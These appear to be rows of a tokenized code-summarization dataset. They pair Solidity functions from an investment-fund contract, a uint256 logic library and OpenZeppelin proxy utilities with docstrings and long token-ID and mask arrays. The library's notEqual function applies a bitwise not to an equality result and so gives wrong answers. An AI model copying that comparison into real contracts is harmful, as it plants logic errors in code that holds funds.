function setMinInvestorDeposit(uint256 amount) public onlyFundManager onlyInitialState {
require(amount != 0, "InvestmentFund: minimum amount shall not be zero");
require(amount < maxInvestorDeposit, "InvestmentFund: minimum amount shall be lower than the maximum one");
require((amount % depositMultipleOf) == 0, "InvestmentFund: amount shall be multiple of depositMultipleOf");
uint256 old_value = minInvestorDeposit;
minInvestorDeposit = amount;
emit MinInvestorDepositChanged(old_value, amount);
}
/**
* Called by the fund manager to set the maximum investor deposit.
* @param amount Maximum investor deposit amount
*/
function setMaxInvestorDeposit(uint256 amount) public onlyFundManager onlyInitialState {
require(amount != 0, "InvestmentFund: maximum amount shall not be zero");
require(amount > minInvestorDeposit, "InvestmentFund: maximum amount shall be higher than the minimum one");
require((amount % depositMultipleOf) == 0, "InvestmentFund: amount shall be multiple of depositMultipleOf");
uint256 old_value = maxInvestorDeposit;
maxInvestorDeposit = amount;
emit MaxInvestorDepositChanged(old_value, amount);
}
/**
* Called by the fund manager to start investors deposit.
*/
function startInvestorsDeposit() public onlyFundManager onlyInitialState {
currState = STATE_BEFORE_INVESTMENT;
emit InvestorsDepositStarted();
}
/**
* Called by the fund manager to stop investors deposit.
*/
function stopInvestorsDeposit() public onlyFundManager onlyBeforeInvestment {
// Update state
currState = STATE_DURING_INVESTMENT;
// Get initial amount before investment
totalAmountBeforeInvestment = totalDepositedFunds();
emit InvestorsDepositStopped();
}
/**
* Called by the fund manager to start investors withdraw.
*/
function startInvestorsWithdraw() public onlyFundManager onlyDuringInvestment {
// Update state
currState = STATE_AFTER_INVESTMENT;
// Get final amount after investment
totalAmountAfterInvestment = totalDepositedFunds();
// Compute multiplier
investmentMultiplier = _computeMultiplier();
emit InvestorsWithdrawStarted();
}
/**
* Called by the fund manager to stop investors withdraw.
*/
function stopInvestorsWithdraw() public onlyFundManager onlyAfterInvestment {
// Withdraw any remaining funds
_withdrawRemainingFunds();
// Delete all investors
_deleteAllInvestors();
// Reset state
_resetState();
emit InvestorsWithdrawStopped();
}
/*
* Internal functions
*/
/**
* Compute the investment multiplier.
* @return multiplier Investment multiplier
*/
function _computeMultiplier() internal view returns (uint256 multiplier) {
multiplier = ((totalAmountAfterInvestment * MULTIPLIER_DECIMALS) / totalAmountBeforeInvestment);
}
/**
* Compute the amount to withdraw after investment.
* @param initialAmount Initial amount
* @return amount Amount to withdraw after investment
*/
function _computeAmountToWithdraw(uint256 initialAmount) internal view returns (uint256 amount) {
amount = ((initialAmount * investmentMultiplier) / MULTIPLIER_DECIMALS);
}
/**
* Withdraw remaining funds.
*/
function _withdrawRemainingFunds() internal {
uint256 remaining_funds = totalDepositedFunds();
if (remaining_funds != 0) {
fundToken.safeTransfer(remainingFundsAddr, remaining_funds);
}
}
/**
* Delete the specified investor.
* @param index Investor index in array
* @dev Since order doesn't matter, the last element is copied to the element do be deleted.
* If investor index doesn't exist, nothing is done.
*/
function _deleteInvestor(uint256 index) internal {
if (index >= investors.length) return;
address last_investor = investors[investors.length - 1];
investors[index] = last_investor;
investors.pop();
// Update the index of investor that has been just moved
investorDeposits[last_investor].index = index;
}
/**
* Delete all investors deposits.
*/
function _deleteAllInvestors() internal {
if (investors.length != 0) {
// Reset deposit amounts
for (uint i = 0; i < investors.length; i++) {
investorDeposits[investors[i]].amount = 0;
}
// Delete investor array
delete investors;
}
}
/**
* Reset state.
*/
function _resetState() internal {
currState = STATE_INITIAL;
totalAmountBeforeInvestment = 0;
totalAmountAfterInvestment = 0;
investmentMultiplier = MIN_MULTIPLIER;
}
}
| Minimum investor deposit | uint256 public minInvestorDeposit;
| 14,116,073 | [
1,
13042,
2198,
395,
280,
443,
1724,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2254,
5034,
1071,
1131,
3605,
395,
280,
758,
1724,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: Apache-2.0
pragma solidity >=0.6.4 <0.8.0;
pragma experimental ABIEncoderV2;
/// @title uint256 Logic Library
/// @author Tyler R. Drury - 19/2/2021, All Rights Reserved
/// @notice trivial library for logical or bitwise operations on uint256 not provided natively by Solidity.
library uint256Logic
{
uint256 public constant ZERO = 0x0;
//uint256 public constant MAX = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
function equal(
uint256 lhs,
uint256 rhs
)internal pure returns(
bool ret
){
assembly{
ret := eq(lhs, rhs)
}
}
function notEqual(
uint256 lhs,
uint256 rhs
)internal pure returns(
bool ret
){
assembly{
ret := not(eq(lhs, rhs))
}
}
function _and(
uint256 lhs,
uint256 rhs
)internal pure returns(
uint256 ret
){
assembly{
ret := and(lhs, rhs)
}
}
function _or(
uint256 lhs,
uint256 rhs
)internal pure returns(
uint256 ret
){
assembly{
ret := or(lhs, rhs)
}
}
function _xor(
uint256 lhs,
uint256 rhs
)internal pure returns(
uint256 ret
){
assembly{
ret := xor(lhs, rhs)
}
}
//function not(
//uint256 lhs
//)internal pure returns(
//uint256
//){
//assembly{
//ret := not(lhs)
//}
//}
function greaterThan(
uint256 lhs,
uint256 rhs
)internal pure returns(
bool ret
){
assembly{
ret := gt(lhs, rhs)
}
}
function greaterThanOrEqual(
uint256 lhs,
uint256 rhs
)internal pure returns(
bool ret
){
//return lhs >= rhs;
assembly{
ret := or(gt(lhs, rhs),eq(lhs,rhs))
}
}
function lessThan(
uint256 lhs,
uint256 rhs
)internal pure returns(
bool ret
){
assembly{
ret := lt(lhs, rhs)
}
}
function lessThanOrEqual(
uint256 lhs,
uint256 rhs
)internal pure returns(
bool ret
){
assembly{
ret := or(lt(lhs, rhs),eq(lhs,rhs))
}
}
/**
* Common convenience operations
*/
function isZero(
uint256 lhs
)internal pure returns(
bool
){
return equal(lhs, ZERO);
}
function greaterThanZero(
uint256 lhs
)internal pure returns(
bool
){
//note this is broken
//assembly{
// ret := not(iszero(lhs))
//}
return greaterThan(lhs, 0);
}
//function lessThanMax(
//uint256 lhs
//)internal pure returns(
//bool ret
//){
//return lessThan(lhs, 0xFF);
//uint256 MAX = type(uint256).max;
//assembly{
//ret := lt(lhs, MAX)
//}
//}
/// @dev require `lhs` is within the inclusive range between `min` and `max`
function inRange(
uint256 lhs,
uint256 min,
uint256 max
)public pure returns(
bool
){
require(max > min, 'min cannot be > max');
return greaterThanOrEqual(lhs, min) && lessThanOrEqual(lhs, max);
}
/// @dev require `lhs` is within the exclusive range between `min` and `max`
function inXRange(
uint256 lhs,
uint256 min,
uint256 max
)public pure returns(
bool
){
require(max > min, 'min cannot be > max');
return greaterThan(lhs, min) && lessThan(lhs, max);
}
} | @dev require `lhs` is within the inclusive range between `min` and `max` | function inRange(
uint256 lhs,
uint256 min,
uint256 max
)public pure returns(
bool
){
require(max > min, 'min cannot be > max');
return greaterThanOrEqual(lhs, min) && lessThanOrEqual(lhs, max);
}
| 6,484,012 | [
1,
6528,
1375,
80,
4487,
68,
353,
3470,
326,
13562,
1048,
3086,
1375,
1154,
68,
471,
1375,
1896,
68,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
316,
2655,
12,
203,
3639,
2254,
5034,
8499,
16,
203,
3639,
2254,
5034,
1131,
16,
203,
3639,
2254,
5034,
943,
203,
565,
262,
482,
16618,
1135,
12,
203,
3639,
1426,
203,
565,
262,
95,
203,
3639,
2583,
12,
1896,
405,
1131,
16,
296,
1154,
2780,
506,
405,
943,
8284,
203,
203,
3639,
327,
6802,
9516,
22376,
12,
80,
4487,
16,
1131,
13,
597,
5242,
9516,
22376,
12,
80,
4487,
16,
943,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol)
pragma solidity ^0.8.0;
/**
* @dev ERC1822: Universal Upgradeable Proxy Standard (UUPS) documents a method for upgradeability through a simplified
* proxy whose upgrades are fully controlled by the current implementation.
*/
interface IERC1822Proxiable {
/**
* @dev Returns the storage slot that the proxiable contract assumes is being used to store the implementation
* address.
*
* IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks
* bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this
* function revert if invoked through a proxy.
*/
function proxiableUUID() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/ERC1967/ERC1967Proxy.sol)
pragma solidity ^0.8.0;
import "../Proxy.sol";
import "./ERC1967Upgrade.sol";
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*/
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_upgradeToAndCall(_logic, _data, false);
}
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal view virtual override returns (address impl) {
return ERC1967Upgrade._getImplementation();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/ERC1967/ERC1967Upgrade.sol)
pragma solidity ^0.8.2;
import "../beacon/IBeacon.sol";
import "../../interfaces/draft-IERC1822.sol";
import "../../utils/Address.sol";
import "../../utils/StorageSlot.sol";
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallUUPS(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
// Upgrades from old implementations will perform a rollback test. This test requires the new
// implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing
// this special case will break upgrade paths from old UUPS implementation to new ones.
if (StorageSlot.getBooleanSlot(_ROLLBACK_SLOT).value) {
_setImplementation(newImplementation);
} else {
try IERC1822Proxiable(newImplementation).proxiableUUID() returns (bytes32 slot) {
require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID");
} catch {
revert("ERC1967Upgrade: new implementation is not UUPS");
}
_upgradeToAndCall(newImplementation, data, forceCall);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(
Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeacon {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
